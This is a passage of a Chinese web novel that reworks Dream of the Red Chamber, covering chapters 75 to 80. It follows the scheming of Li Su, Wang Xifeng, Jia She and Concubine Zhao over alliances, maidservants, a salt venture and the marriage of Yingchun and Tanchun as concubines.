李素盯着她的眼睛,沉声道:“对,我看着诺大的国公府,除了嫂子尽都是些子蠢人,也只有嫂子是个聪明人,所以我选择跟嫂子同盟,更何况我已经借给了嫂子十九万,也没得选。” “同盟做些什么呢?” “任何事,互相帮助,你的事儿就是我的事儿,我的事儿就是你的事儿,比如眼前的第一件,贾元春入我子爵府,最大的好处岂不是就落在了嫂子头上?。” “为何落在我头上?” “贾元春是二房嫡女,名声不好,影响的是谁的姻亲?” “宝玉。” “着啊,宝玉越不好,二哥越安全,嫂子的诰命就越稳,再说了嫂子也不想一辈子给别人打下手装孙子吧?” 王熙凤点点头,面色阴晴不定。 “凤儿,听素……素兄弟的…” 贾琏倒在炕上后,实在没力气动了,只能昏昏沉沉的听着二人的对话,听不全话,也看不见二人手上的动作。 李素赞了一声:“二哥是聪明人,今日我为你这个同盟又打了二房的脸,回头大老爷那里也要二哥再吹吹风,元春的事儿散开后,对二房就是内外双重打击,到时候你们大房的机会就来了。” 王熙凤的心噗噗的跳了起来,她何曾想过干如此大事? 平时最多那下人耍耍威风罢了,再不济想想怎么能多赚些银子而已。 李素继续说,声音充满了诱惑又掷地有声:“这一局,我们叫夺权!” “夺权!” 王熙凤眼睛放光,胸脯起伏不定,仿佛看到了伟大的事业,光明澎湃! “那兄弟想要什么?”到底是心思玲珑的人,瞬间想起绝没有白吃的午餐。 “嫂子!” “什么?”王熙凤身子一僵。 李素补充道:“嫂子为我所用!” “怎么个用法?我又有何用能帮到你?” 李素笑了,轻轻揉摸着手中的滑腻,轻声道:“这是秘密,总之不会让嫂子难做的。” 王熙凤白了他一眼,不知为何此时竟不抵触自己的手被他拿着摸了,看了看双眼紧闭的贾琏,她心里忽的泛起了涟漪,虽不懂,但刺激! “撒手!” 但她终究感觉不妥,低声娇喝,声音里却不自觉的带了一丝黏腻。 李素听出来了,不松手。 “都同盟了,我为嫂子做了这么许多,嫂子竟然还想甩开我?” 谁知王熙凤还没回话,炕上闭着眼睛的贾琏又开口了:“不能!咱……不能做过河…过河拆……的人…” “哈哈哈,二哥是个智者。” 王熙凤气结,但她从没受过这样的暧昧,心里有些遭不住,只好想办法来掩饰,于是她忽的起身,高声道:“平儿这小蹄子,怎么还不来,看我回头不收拾她!” “你把平儿给我吧。” 王熙凤皱眉吗,高声道:“你要平儿?” 李素点头:“对,我看这丫头不错,府里不是要给我配丫头么?我觉得平儿合适。” 王熙凤解释道:“可是平儿不一样,她是我的陪嫁丫鬟,跟我看似主仆,实则姐妹。” “那这样,如果平儿愿意,你不许阻拦怎么样?” “那,那好吧。” 她随后狠狠道:“这小蹄子平时看不出,还会勾引爷们儿了,看我回头不收拾她。” “她哪里比的上你?” 王熙凤听到这话就有些躲闪,也不知怎么了,若是平时听到这话,定是嗤之以鼻或者骂了出去,此时面对这心思深沉霸道的李素,心里却有湿意了。 第76章 一半又副册 “素大爷!” “二奶奶!” “二爷!” “可在屋里啊?” 院子里的呼喊声,叫醒了正在被研究手纹的王熙凤,她一把甩开了李素就往外走,开声就骂了起来:“谁啊?叫魂儿呢,你二爷病了正歇息,没眼力见儿的东西!” 仿佛要把刚才心中的不安给骂走一般。 待出得屋门,就变换了笑容:“哟,原来是赖嬷嬷啊,瞧我,二爷这一病,我急的跟那热锅上的蚂蚁,你老人家的音儿都没听出来。” 赖嬷嬷笑着行礼:“请二奶奶安,我听说平儿姑娘找大夫了,二爷如何了,也怪我一时疏忽嗓门儿大了些,请二奶奶原谅则个。” 王熙凤抬手虚扶,随后指着赖嬷嬷身后一群丫鬟问道。 “嬷嬷别说这等外道话,你带着这些个丫头是来做什么?” “禀二奶奶,这些丫头是老祖宗吩咐我带来,让素大爷亲自看一看的。” 王熙凤仔细打量了一番这些丫鬟,随后说道:“倒是各个水灵儿,这些子都给素大爷的么?” 赖嬷嬷一愣,都要? 但想起贾母的态度,她赶紧说道:“啊,呃……素大爷如果要,尽可以留下。” “那就都留下吧。” “是,这是六个丫头的身契,二奶奶拿好。” 赖嬷嬷说着递过了一摞纸给王熙凤,心里不免有些可惜晴雯,这个姿色最好的,原本是备着给宝二爷的,这次为了对老太太的心,也带了过来,这就被收了去。 王熙凤一惊,这老太太是下本儿了,随后她接了过来,也不打开看。本不识字就不装模作样惹人耻笑了。 想到这里又暗恨起宝玉来。 “行了,你去忙吧。” 赖嬷嬷行礼,就去了。 王熙凤立时收起了笑容,院子里六个小丫头道:“你们今日后,就有了新主人,不再属于咱们府,知道了么?” 头前儿一个削肩膀水蛇腰的小丫头,眉眼儿灵动漂亮,她昂头回话:“二奶奶,我们晓得了,嬷嬷刚才来的时候已经说过了,说素大爷是有爵的贵人,就好像大老爷。” 王熙凤见她,就好像忽然看见了同类一般,轻声笑道:“你叫什么?_倒是个有福气的。” “回二奶奶,奴婢晴雯。” “我记住你了,你们几个跟我进来吧。”王熙凤点了点头,扭身就往屋里走,六个丫头随后跟了上来。 她们进屋时,李素已经在正堂坐下了,正慢慢喝着茶,看着王熙凤带着六个丫头进来,眼前就是一亮,长的不错,全都是水准之上,体态婀娜,肤白貌美。 王熙凤见他表情就知喜欢,随手把这些丫头的身契往前一递。 “素大爷,这些丫头是你的了,收好吧。” 李素拿过身契,逐个看了起来,好家伙,全都是红楼书中有名姓,又副册上的丫鬟,这波可以。 随后他开始念名,认人。 “晴雯。” “奴婢在,见过素大爷。”晴雯蹲身行礼。 李素点点头:“好名字,好相貌,起身吧。” 进屋看模样就知道是她了,身上有一丝黛玉的影子,窄肩细腰膏眉星目,整个人看起来灵动水嫩,但傲气在脸,大胆在目,张扬了许多。 晴为黛影这句话,应该是指的是相貌,绝不是才气和气韵,因为晴雯跟王熙凤一样,不识字! 晴雯重新站好,李素接着翻起了第二份儿。 “鹦哥。” “奴婢在,见过素大爷。” 灵慧温和,肤白貌美。 李素点头,心说这个要还给黛玉,原著中,鹦哥自黛玉进京后被安排给了黛玉,并改名紫鹃。 “你改个名字吧,一个姑娘叫什么鹦哥,以后就叫紫鹃。” “啊,奴婢听素大爷的,谢素大爷赐名儿。”新称紫鹃的鹦哥忙又行礼。 李素摆摆手,紫鹃重新站好。 “柳五儿,你也改个名字吧,以后就叫细柳。” 李素念名儿就知道,晴雯之外最好看的一个是柳五,她生的纤细,身子在这些丫头中是最高的一个,刚才进屋的时候走动起来就如新柳摇摇。 她是柳嫂子的第五个女儿,虽是厨役之女,书中形容她相貌与平儿、鸳鸯、袭人、紫鹃等人一样的漂亮,果然如此。 “”谢素大爷赐名儿。”细柳行礼。 “小红。” “奴婢在,见过素大爷。” 这是个心中有数儿的人,也是个有情义的人,有人认为小红是贾府中难得的清醒者,对贾府的败落早有感悟,她对坠儿说:“千里搭长棚,没有不散的宴席”。 攀上了凤姐,后又与贾芸私定终身,脱离了贾府。 贾府败落之时她与贾芸还救了宝玉、凤姐。 接下来是麝月、茜雪,这二人也是原著后来贾宝玉的丫鬟,麝月是书 中忠心耿耿,性格温和似袭人,但从不喧宾夺主的丫鬟。 茜雪是被贾宝玉误会赶走后,在贾宝玉落魄时仍然去安慰的丫鬟,颇具侠义之心。 都不错,李素把她们的身契塞进了怀里。 “你们以后就是我子爵府的人了,再不属于荣国府,以后屋里的事儿,就先两人一组轮着来做,五日一轮,先是晴雯、细柳。” “那后面呢?” 小红开口问道。 “接着是小红,紫鹃你们二人一组,最后是麝月和茜雪。” 众丫鬟听命,齐声称是,李素看着眼前站的一排,心中满足。 王熙凤见李素把事安排完,随后对这些丫鬟说道:“你们先下去吧。” 众人再次行礼,随后随后她们就出门去了 只有晴雯心中愤愤,临出门儿的时候,又偷偷瞧了一眼王熙凤。心说,我们爷的屋子,你凭什么发号施令? 屋中又恢复了安静,王熙凤坐了下来,二人隔着把椅子。 “二嫂子,你坐这么远干什么?我说话嗓门儿大,吵到你了?” 王熙凤白了一眼这个心里没数的:“你看,调理丫鬟还要你这当爷的亲自来,该定个亲了。” “是啊。” 李素轻叹一声,最近脑子里不是皇后就是嫂子的,自己真的长大了。 王熙凤心中念转:“要不要嫂子给你拉个亲?你可别怪我多嘴,若是兄弟的双亲健在,嫂子可不敢搭这个茬儿。” “什么茬儿?” 李素就当跟嫂子闲聊,心里盘算等回了扬州,后宅还是要黛玉来调理。 “我有个表妹,就是薛蝌的堂姐。” 李素笑了。 “叫什么?” “薛宝钗。” 第77章 贾母欲嫁迎春 贾母看着迎春从屏风后出来。 沿着墙边儿匆匆而走,忽然愣住了。 脑子里忽然划过一道闪电。 把李素变成自己人! 把李素变成自己家的孙女婿! 所有问题全部迎刃而解。 成了府里的孙女婿,他就不好意思不让自己的大姨子元春回家了吧,他更不会往外面去说贾府小门待客,中门迎财的事儿了吧。 更何况,他还是子爵,有爵位,当今天子的宠臣。 最重要的是自己筹谋的宝玉和黛玉姻缘,中间的障碍没有了。 他和林如海都是会成为f府里的政治资源,成为宝玉的护身符,这是一条光明大道。 迎春,迎春,迎来府里的春天,好名字,好孩子啊。 刚刚好,又到了说亲的年纪,因为是庶女高不成低不就,大宅门儿里好看一文不值,身份才是千斤之重。 李素父母双亡,是个没依靠的,娶高门嫡女根基不够。 却又封了爵,娶小户嫡女亏了身份,那么迎春这国公府的庶女,就是妥妥的天作之合。 贾母想到这里,身心通透,随后把目光就落在了贾赦和贾珍脸上。 贾赦这个迎春的老子是要通气的,而媒人就落在贾珍头上了。 贾族之长,三等爵威烈将军,刚好合适。 想到这里她再也憋不住了,扫了扫厅中的三个爷们儿:“老婆子我有个法子,你们议一议。” 贾政忙道:“母亲请说。”贾赦与贾珍也看着贾母。 “把迎春许给素哥儿。” 三人一听,顿如拨云见日。 贾赦更是一拍大腿:“着啊!母亲这法子当的是好,好,好啊!” 李素爵位不爵位的对他来说不重要,他有银子才重要,跟着自己的妹夫在扬州管盐,那银子还不得跟流水一般? 自己成了他老泰山,孝敬一些也是应该吧。 “我去找他!” 贾赦等不及了,起身就要走! “你给我坐下,哪有自己上门给女儿说亲的?那是卖女做妾!” 贾母急忙叫住了自己的这个莽撞儿。 “哈,我说我去找迎春。”贾赦尴尬笑笑,又坐了下来。 贾母不再搭理他,看向了贾珍:“珍哥儿,做媒之事却要落在你身上了,你不是今日里晚间要做个东道么?” “确实是好时机。”贾珍点头。 一个上午,就在这忙乱中度了过去,王夫人和贾宝玉在太医的治疗下醒了过来,贾琏也沾光蹭了一次太医圣手。 送走了顺道来给贾琏瞧病的王太医,李素站在台阶上叹了一句:“瞧瞧,这太医治病就是宝兄弟日常的待遇,你和二哥有这么一次还是沾人家的光,这是袭爵少爷少奶奶的待遇?” 一旁的平儿听到这话,大惊! 这素大爷太敢说话了,随后她又瞧了一眼李素,瞧了瞧王熙凤,留下一句:我去给二爷拿药,就匆匆去了。 腰肢扭动,青春俏丽的身影消失,李素重新收回了目光。 王熙凤白了他一眼,扭身就往屋里走,带起一股香风:“素哥儿,你莫要再戳嫂子心窝子了,难受的紧。” 李素跟在香风后面:“嫂子说错了,是胸窝子。” “你莫蒙我,这话听着就不是好话。” 李素摇头骗道:“嫂子,你不识字不晓得,书上有云,心之所属在胸也,故只有胸窝,没有心窝。” “是这样么?” 王熙凤怔了怔。 “当然,来我给嫂子说说位置。” “呸!就知你不安好心。” 王熙凤面色红了红,啐了他一口,就进了里间去看贾琏。 太极宫,西暖阁。 雍和帝放下了手中的奏折,就见白皇后进来了,行过礼后说道:“臣妾给皇上亲手炖了参汤,要不用一些?” 雍和帝点点头。 白后亲自给雍和帝端了过来:“现下里李素帮朝廷解决了困难,皇上应该歇一歇,得保重龙体才是。” 雍和帝端起来喝了两口汤,放在案上扭头向夏守忠问道:“李素现在做什么?” 夏守忠闻言笑了。 “这老奴倒是知道,花园子爵今日还闹了一出大戏,老奴就说说,给陛下和娘娘解解闷儿。” 雍和帝神态放松下来,叱道:“你这老狗,还卖起关子了,快说。” “今日里花园子爵代师父林如海去给荣国府送年礼,故意没有提前告知,待贾府打开中门,发现门口儿就是一堆财物,人已经从小门入了府了……哈哈,这贾府没接到人,开中门接进府里一堆财物……” 雍和帝笑了。 白皇后问道:“然后呢?” “然后这事儿,不知道被谁一个上午,嚷嚷的神京大街小巷都知道了。” “哈哈,这其中也有你的人吧。 ” 夏守忠笑着回道:“禀皇上,老奴只是吹了吹边角儿,大部分还是花园子爵的人。” “他那些跟漕帮相斗的人?” “是。” 雍和帝笑骂一声:“这个没出息的东西,就为了那点子银钱,给漕帮从扬州打到京城来了,看来得给他找点事儿做了。” 白皇后见雍和帝的态度,就知道李素这事办的合了皇帝的心意,随后跟着笑道:“这孩子调皮是调皮了点儿,但孝心可嘉,陛下可别难为他。” “嗯,难得皇后喜爱他,朕就给皇后个面子,小四儿怎么样了?他倒是跟李素投缘,等他养好了身子跟李素多走动。” 白皇后点头:“他三个哥哥,正在臣妾那里陪着他,有说有笑,好的很。” 雍和帝叹了一声:“唉,他若是个争气的,皇后也就能省了大心了。” 白皇后听到这话,心立马就提了起来,面色不变的笑着回道。 “让陛下操心了,他自小就疯疯癫癫的,但这孩子孝心最重,他三个兄长都有能为帮陛下分忧,臣妾也就不求他有多大出息,现下里已经心满意足了。” “嗯,是个有孝心的,对了,皇后把你凤藻宫的腰牌给李素一枚,让他常来听皇后教诲,少在下面厮混,混帮派……哼!” 白皇后听完这话,心脏不由得停了一下。 “臣妾领命。” “皇后去忙吧。” 雍和帝挥了挥手,又低头批阅起了奏折。 白皇后行礼告辞,回凤藻宫的路上不断琢磨着皇帝的话,又想起了老大、老二、老三明争暗斗,这难道是皇帝有些看不过眼,想立太子了? 心中悚然,不由得攥紧了雪白的小拳头。 第78章 再次下饵 缺了贾宝玉娘俩儿和贾琏,荣国府照常开了午宴。 一应女眷陪着贾母坐席,外间里贾赦、贾政、贾珍陪着李素。 贾家找到了明路,放下了担忧,在酒宴上越发从容了起来,尤其贾赦那态度更加放纵起来,属他嗓门儿最大。 李素不解,想不明白贾府这些倭瓜怎么就放飞自我了。 “素哥儿,你坐在我身侧。” 贾赦也不起身,拍了拍身侧的座椅,没有了一早的客气。 “我坐在这里合适么?” “哈哈哈,合适,你没有经历过京里这些个高门的饮宴,不了解很正常,以后我慢慢教导与你就是了。” “如此可要多谢赦大伯了。” 李素回着话,同时观察贾政和贾珍的表情,二人一脸的姨母笑,也看不出什么,于是拱拱手先坐了下来。 菜如流水一般很快就往上端,李素有一搭没一搭的陪着贾赦说话。 “贤侄啊,这在扬州,银子没少赚吧。” 李素闻言一怔,随后苦笑道:“啊,赦大伯这话可错了,我师父那人岂是会放纵我的性子?” “这倒是。”贾赦点点头,略微有些失望。 “不过倒是有一桩买卖,年利约么着有百万两。” “多……多少?!!!” 贾赦听的手一抖,正往嘴里倒的茶盏就洒了一身,胡子、下巴、前襟都被茶水泼湿了,更有两片茶叶挂在了他的胡子上。 贾政与贾珍也愣了一下,怀疑自己是不是出现幻听了。 贾赦不是没j见过大笔的银子,可那是公中的,自己收入实在有限,每年能有个万八两就算不错了,但他花的也多,导致手里根本就没有多少余钱。 “百万两,兴许更多一些也说不准。” 贾赦两眼放光,一把抓住李素的手腕:“是何买卖?” 李素犹豫了一下,看了看三人。 “这……嗨…这里也没有外人,索性我就说了,是盐!” “盐?”贾政皱眉。 贾赦才不管其他,拉着李素急问:“贤侄是如何做的?说出来让伯父我参详参详!” “呵呵,也不是什么见不得光的事,其中还有皇上的份子,我就……”此时,外间忽然传来了吵闹声,打断了李素的话。 “呸!你这下流没刚性的,你也是府里的爷们儿,怎么就这等没出息的奴才性子!你倒会暴筋瞪着眼蹾摔娘。府里宴客,你都不敢出来帮你父亲支应,没有屄本事,我也替你羞……” 嗓门儿尖利刺耳。 随后就见一个体态风流的少妇,扯着一个歪肩膀斜眼睛的孩子进来了。 是贾政的妾室赵姨娘,也是探春和贾环的亲生母亲,没事儿都要搅闹三分的主儿。 “啊,见过老爷。” 赵姨娘进屋看见贾政行礼,腔调儿也顿时换了音儿,甜娇温软。 贾政正觉得丢人,面色变的铁青,但此时见她如此乖巧,也不好当着众人的面发作,于是沉声道:“你来作甚?” 赵姨娘随后跪在了贾政面前,哭诉道:“老爷啊~他们欺人太甚,府中宴客不叫我也罢了,反正平日里她们也常骂我娼妇婊子,这些个我为了老爷都忍了,可是环儿可是你的骨肉啊,前来帮衬帮衬老爷也有错吗?” “他们竟然说环儿是奴几辈的,不让来,呜呜呜……”说着就抱着贾政的大腿哭了起来。 贾政喝道:“滚出去!” 李素岂能让这热闹散了,连忙站起来劝道:“政二伯,都是自家兄弟,留下来吧,我这赴宴却让主家兄弟不得上席,说出去小侄面上也无光啊。” 贾政听了李素的话,只好对赵姨娘说道:“你赶紧出去,环儿留下!!!” 赵姨娘顿时收了哭声,对着贾政叩了个头,又对李素服了一礼,随后起身便去了。 贾政对着眉歪眼斜,容貌猥琐的贾环沉声喝道:“孽障!坐在下首,坐好了!” 贾环一哆嗦,慌忙爬上了椅子,坐在那里不时地张望。 李素暗道贾政相貌不错,赵姨娘也算是美人儿,怎么就生了这么个玩意儿?这要是自己穿到这家伙身上,不说亲娘糟心透顶,就是这模样身份,就足让自己撞死再重生了。 而出门的赵姨娘顿时脸色没了委屈,也没了刻薄,反而一脸的骄傲。 她成功的把儿子送进了正席! 她可是听说了,今日招待的那个年轻爵爷对府里十分重要,宝玉跟他娘又被打了,正是自己儿子出头的机会,岂能放过? 李素见贾环坐下,笑着挑事儿:“环兄弟,谁骂你不让你入席了?” “赖……大。” “是奴才?” “是……奴。” “好好说话!”贾政面色更黑,气的一拍桌子。 贾环顿时坐好了。 李素摇摇头:“政二叔,奴启主非荣国之福啊。” 贾政想说一句,贾环不是主,但总之是自己的儿子,到底是没能说出口,端起茶盏点了点头。 埋完钉子的李素,也不再说了。 “贤侄,咱们继续说说那百万两银子的事儿。” 贾赦见无事了,心里惦记的百爪挠心,此时又迫不及待的催起了李素。 百万两银子! 贾环听见这话,嘴巴张的老大,自己平时可都是按着铜板花销的,百万两还不得是一座山。 李素看着贾赦胡子上的茶叶,有些想笑。 “其实事情也简单,我同人合伙在海外发现了一种雪盐,白如雪,细如尘,没有丝毫异味儿,成本低廉,约么一石盐有十倍利。” “可有样品?” “有,赶巧了,我随身带着。” 李素说着就拿出了一个瓷瓶儿,贾赦顾不得什么身份面子,他本来也没这些东西,一把抢了过去,打开瓶塞就往桌上倒。 随后流沙细粉状的盐就洒在了桌面儿上。 嘶! 好盐! 贾赦、贾政、贾珍三人分别用手捏了一些,抹了一些在嘴边尝了尝。 “好盐!”三人异口同声。 贾赦想到了关键点:“贤侄刚才说,皇上也入股了?” “没有皇上,我可跳不过官盐例法随便发卖,那不就是私盐么?” 贾赦呼吸都急促了,好家伙,这决不能放过,这要是掺上一脚,以后想买多少扇子就买多少扇子,想日多少女人就日多少女人。 他顾不上自己唐突:“贤侄,伯父我入上一股如何?” “这……” “我可以把迎春给你!” “啊?” 李素被这话给惊到了,这老大哥现在就卖女儿了吗? “赦大叔!” “大哥!” 贾政和贾珍还是清醒的,他们俩一个对银子不是太感冒,一个是守着宁国府,公中银子可劲儿糟蹋。 于是赶紧急呼提醒贾赦,不要坏了大事。 贾赦也反应过来自己差点儿坏事,尴尬一笑:“呃……哈哈,贤侄宴后去我那里坐坐如何?” “如此,就多谢赦大伯了。” “吃酒,吃酒,哈哈哈。” 贾环心里可就开了锅了,听着好像迎春姐姐能卖百万两,那自己的姐姐探春可比迎春姐姐还好,能说会道。 第79章 各自算计 吃酒,吃酒。 觥筹交错。 场面一时热闹起来。 “赦大伯,来,小侄再敬你一杯!” “赦大伯,咱们共同举杯,不瞒你说,我生平最佩服的就像大伯这般爽快之人!” …… 不一会儿,贾赦就被灌的醉眼朦胧了。 “老……老弟,不能再喝了。” “大,大……哥,你说,我听大哥的。” 贾赦摁住了李素的酒杯,心中装着银子的事儿,他还保持着最后一丝清醒。 李素摇头晃脑搭着贾赦的肩膀。 贾政和贾珍听着二人这话,直嘬牙花子。 贾赦摇晃着起身,拽李素:“老弟,去我那里……喝茶。” “大哥说啥就是啥。”李素摇摇晃晃起身,跟着贾赦就往外走,二人很快就出了门。 贾政跟贾珍相对苦笑一声,也没了再喝下去的兴致,贾政叹了口气:“珍侄儿,晚上提媚之事就拜托你了。” “政二叔,放心就是。” 贾政放下心来,贾珍比自己的大哥是要更让人放心一些的,随后他扭头看向贾环,只见他不知道什么时候竟然走了。 此时贾环y一路狂奔,闯进了赵姨娘的屋里,喘息未定便大呼起来:“母……母亲,给我一两,不,十两银子!” 赵姨娘柳眉倒竖,伸手揪住了儿子的耳朵,破口大骂:“呸!你这个下作种子,老娘撒泼打诨让你去同你老爷入席,你跑回来不说,还跟老娘要银子?” “母亲……啊……疼疼,儿子是听到了大消息才回来,要与你说的。” 赵姨娘一脸怀疑的看着儿子,但还是松开了手:“你能有什么大消息?” “银子!” 贾环伸手,但又怕挨收拾,随后说道:“百万两银子的大消息!” 赵姨娘听到这话,顿时不屑道:“那能跟老娘有什么关系?” 她还是有点儿逼数的,千把两银子或者万数银子她还有可能沾个边儿,但百万两她毛都蹭不到一根。 贾环闻言急了,忙分辩道:“母亲,这回不一样,大老爷要把二姐姐卖给那李素,百万两银子哩,三姐姐不是能卖更多?” “嗯?你给老娘说清楚点儿!” “银子!” 贾环手一伸。 赵姨娘顿时笑了起来,从袖子里掏出碎银子,还没仔细掂量就被贾环一把抢了过去:“母亲,不够!” “哎呦~你这遭瘟的,我才几个银子,等娘赚到了银子再给你好不好?二十两!快跟我说说。” 她说完把贾环拉在怀里哄了起来。 “那不能诳我!” “不诳你。” 贾环于是开始嘚瑟起来:“我听说就是那李素有好盐,一年能赚百万两银子,十倍利,好像是跟皇上一块儿做的买卖,嗯,现在还是宫里的贡品,你看我把这盐偷了出来!” 说着他拿出了瓷瓶儿,对着赵姨娘晃了晃。 赵姨娘一把夺了过去,倒出里面的盐后,愣住了。 这盐真好! 随后她盯着儿子继续问道:“你二姐姐怎么回事?” 贾环不停的把玩着手里的银子,脑子里开始琢磨一会儿怎么花,随口应他娘:“呃,就是大老爷想加进去赚银子,就把二姐姐送给那李素当份子吧……嗯…是这样。” “这是把你二姐姐卖了?二木头竟然能值这么多银子?” “就是,就是,三姐姐可比二姐姐还好,是不是能卖更多?” “你三姐姐在哪儿?” “不知道!” 赵姨娘忽然眉开眼笑起来,柔声道:“好儿子,你去帮母亲,把她找来,老娘就再给你一两!” “那,那行吧。” “快去,快去,回头我让你舅舅带你出去买好吃食。” 贾环飞快的出了房门去找探春去了。 赵姨娘在屋里就开始琢磨上了,探春这丫头虽说是从她肠子里爬出来的,可是向来不听她的话,主意正的很。 不行!这事儿还得找老爷。 她拿定主意就喊叫了起来:“彩云,彩云,去看看老爷在哪里?把他请到屋里来。” 外面的彩云答应一声就去了。 随后赵姨娘在屋子里转悠起来,她坐不住了,转了几圈儿后,推开房门奔了出去。 黑漆大门的东侧院正房。 李素一脸为难的看着贾赦:“赦大伯,这不好办啊,不是我不想带您赚银子,实在我要说服皇上,这里面的难处您应该比我清楚。” “贤侄啊,我当然清楚,当今的天子就是个冷面……呃,难说话的。” “赦大伯明白就好。” 贾赦不放弃:“素哥儿,不白让你帮忙,我这里你看上什么就拿去,包括她。” 在一旁伺候的秋桐呆了呆,这就要把自己送人了么?还 送给这么个好看的哥儿? 李素摇头。 贾赦一咬牙:“我把迎春嫁给你!” “迎春?是哪个?” “你今日见到了,就是宝玉晕倒的时候,从屏风后出来的丫头、” “有三个呢,我不认得哪个是啊。” “就是……呃……”他也不会怎么形容自己的女儿,没在意过,脑子里竟一时表达不出来了,随后他看向了秋桐:“你给素哥儿说说,迎春那丫头是什么样儿?” 秋桐闻言,款款走过来在李素耳边轻声道:“三个姑娘里,奶量最大的就是迎春姑娘了。”说完还在李素耳边吹了口气。 李素恍然,大约知道了今日到底袭了谁。 他摇头道:“赦大伯,迎春妹妹是您的庶女,您的意思是让她给我当正妻,还要我去皇上那里帮您说话?” “是又如何?” 贾赦反问,但自己都觉得底气不足。 “小侄这里受些委屈不说,就是我师父那里也不会同意的,您想想看?我双亲不在,娶亲可不是要师父点头才行?” 贾赦的眉头皱了起来,他清楚林如海的脾性,勋贵之家却带着些书生义气,经常认死理,刻板的很,向来跟自己家不是很亲近。 随后,他一咬牙,盯着李素道:“你就说迎春那丫头,你喜不喜吧?” “迎春妹妹自然是好的。” “那我许她与你做妾!”贾赦一把抓住了李素的手,盯着他的眼睛。 “那我帮你与皇上说和!”李素的另一只手握了上去,笑着与他对视。 “一言为定!” “写契书!” 贾赦大喝一声:“秋桐,去拿笔墨!” “啊,是。” 秋桐面带失望而去。 贾母的局还没开启,就被自己好大儿给破了。 那局贾赦本就不以为然,元春的事儿是老二家的,名声臭一点儿对他影响也不大,反正住正院的是老二。 对迎春更不以为然了,自己的嫡子都不以为然,何况一个庶女,所以他贾将军只要自己能赚银子,其余的在他心里都不堪重要。 正妻也罢,做妾也罢,跟李素有了联系,绑起来就好,至于以后谁说的准呢,他贾将军就活在当下。 第80章 赵姨娘的姻缘之谋 赵姨娘没找到贾政。 也不是没找到,而是不好把贾政给弄来,彩云回报贾政已经在周姨娘屋子里,醉酒午休了。 她气的骂了几句,在屋子里生闷气。 好在探春来了。 “姨娘找我何事?” 赵姨娘听到这称呼,气就往上涌,自己生的闺女却不叫娘,不叫母亲,反而称呼自己姨娘。 她当然知道规矩,府里只有一个太太,只有嫡母才能称母亲,生母不能叫母亲,但这是私下里啊,怎么就不能叫自己一声娘,不能叫自己一声母亲? 但是她哪里知道,探春早就看透了她登鼻上脸的脾性,若不是自己冷着脸,早就没什么好日子过了,更不知她会闹出多少笑话和乱子。 所以探春向来就对她没有好气。 但内里却为她偷偷操着心,委屈求全的伺候王夫人,为她和亲弟弟贾环撑起一个生存空间。 这些话没法跟她说,也说不通,或者说了她也不懂,所以探春这么个空有志气的姑娘,一直委屈着两头受气,坚强的活着。 强压自己怒火的赵姨娘,笑着上前拉住了探春的手:“你看你,怎么都是从我肠子里爬出来的,怎滴这般生分,快坐。” 探春闻言心下一软,就随着她坐了下来,但心中也明白,自己亲娘这做派定然是有大事儿了,否则开口别想有什么好话。 “姨娘缺银子了?我这里也不多,就二十两。” 赵姨娘闻言心中一动,但还是忍下来说道:“哎呦,我哪里会要你的银子?我就是想你了,你都多少时日没到我屋里来了?” 探春心中警惕更甚,银子都不要了? 赵姨娘拉了把椅子,凑近了探春,随后拉起了她的手笑着说道:“到底是随我,这长大了出落的越来越出挑儿了。” 探春微羞,随后又正色轻声道:“姨娘说事儿吧。” “这一转眼,你也长大了,我就寻思该寻一门亲了,不能耽误了去。” 探春听到这话,心中顿时一激灵,她有种预感,亲娘想卖了她,即使不是卖她也不会靠谱儿。 “姨娘,此事自有老太太、老爷、太太来做主,还轮不到你来操心。” 赵姨娘的气再次被勾了起来:“他们?哼,哪个会为你来操心,真正心里挂着的还不是我这个当亲娘的?” “姨娘,你再这样我回了。” “哎呀,你这丫头,没个定性儿,姨娘问你个事儿,你觉得今日来府里的那李素如何?” 李素? 探春一愣,自然是好的,非常好。 先不说他的长相让人心跳成鼓,就气质上来说她从未见过如此英武又不失儒雅君子之风的男子,更不用说今日对着自家府里的一众大人物,不卑不亢进退自如,甚至锋芒毕露,控制了整个屋中的话语权,主动权。 就好似一个纵横捭阖的大将军,神采昂扬,令人心折! 若是他? 想到这里探春面上就有些发烫了。 “探春!” “啊?姨娘说什么?” 赵姨娘见她这样,心中有数了。 “我说若是你嫁给他如何?” 探春闻言,心中失落,苦笑一声:“他一个朝廷新封的子爵,据说为天子看重,还进了学,明年就要考举人,可以说是以后朝堂的重臣,而我这身份,又如何能配的上他?” “那你觉得迎春那丫头能不能配得上他?” “姨娘说笑什么?二姐姐与我有什么区别?自然是不般配。” 赵姨娘凑近又说了一句:“那若是做妾呢?” “做妾?” 探春愣了,随后沉默了一会儿轻声道:“若是二姐姐与他做妾,自然是可以的,大概也值得罢。” “若是你与他做妾,愿是不愿?” 探春心中怦怦的跳了起来,强忍着站了起来一把甩掉了赵姨娘的手:“这不用姨娘操心罢。” 赵姨娘拦住她:“你可知道,迎春要给李素做妾了?这本该是你的缘分!” “这是什么时候的事儿?我怎不知?如何就是我的?” 探春狐疑,中午才吃过宴席,也没有什么事发生,怎么入不得席的亲娘知道了那么多消息? “这……嗯,嗯。” 探春的三连问让赵姨娘卡壳,一时间不知道怎么往下编了。 探春冷笑:“呵,姨娘怕不是来诳我的吧?” “啊,不是,对了……你大姐姐的事儿,外间的爷们儿商量着,把迎春给她做妾,成了亲戚好说话,放你大姐姐回府,对就是这样。” 赵姨娘灵光一闪,把关系拉了起来。 “你和你大姐姐才是一个父亲,你与那李素做亲,岂不是更好说话,如何轮的到迎春那个丫头?” “这不就是迎春抢了你的缘分?” 探春听完这话,怎么都觉得不太对劲儿,怎么送给人家做妾 好像成了好事儿?还要这被送的姐妹间争夺? 这里面估摸着还有事儿。 冷静下来的探春摇摇头:“姨娘,抢不抢的也轮不到我来做主,更轮不到你来做主,府里有老太太,有太太,有老爷,你也别操心了。” “不,只要你愿意,其余交给我来办,你就说你愿不愿意吧。” “我愿意,也不会交给你来办。” 探春说完这话,再也不给赵姨娘机会,匆匆而走,她要去找二姐姐探探话,上午二姐姐不太对劲儿,到底发生了什么?跟此事有没有联系? 赵姨娘见女儿不反对,心中迅速又形成了一套方案,不对,是预备方案,预备贾政不同意的话,自己要走的路子。 她这全是半截计划就开始动手的性子,也不知道会办成什么样。 李素此时歪歪斜斜的从贾赦的院子里出来,后面跟着新上任的晴雯和细柳两个丫头。 “老爷,可要回院子?” “呃,晴雯啊,来,把这些收好,是你家老爷今日的收成。” 李素递给晴雯一摞纸。 晴雯接了过来,好奇道:“银票我认得,一千两、两千……三千……两万两!这么许多啊……老爷。” 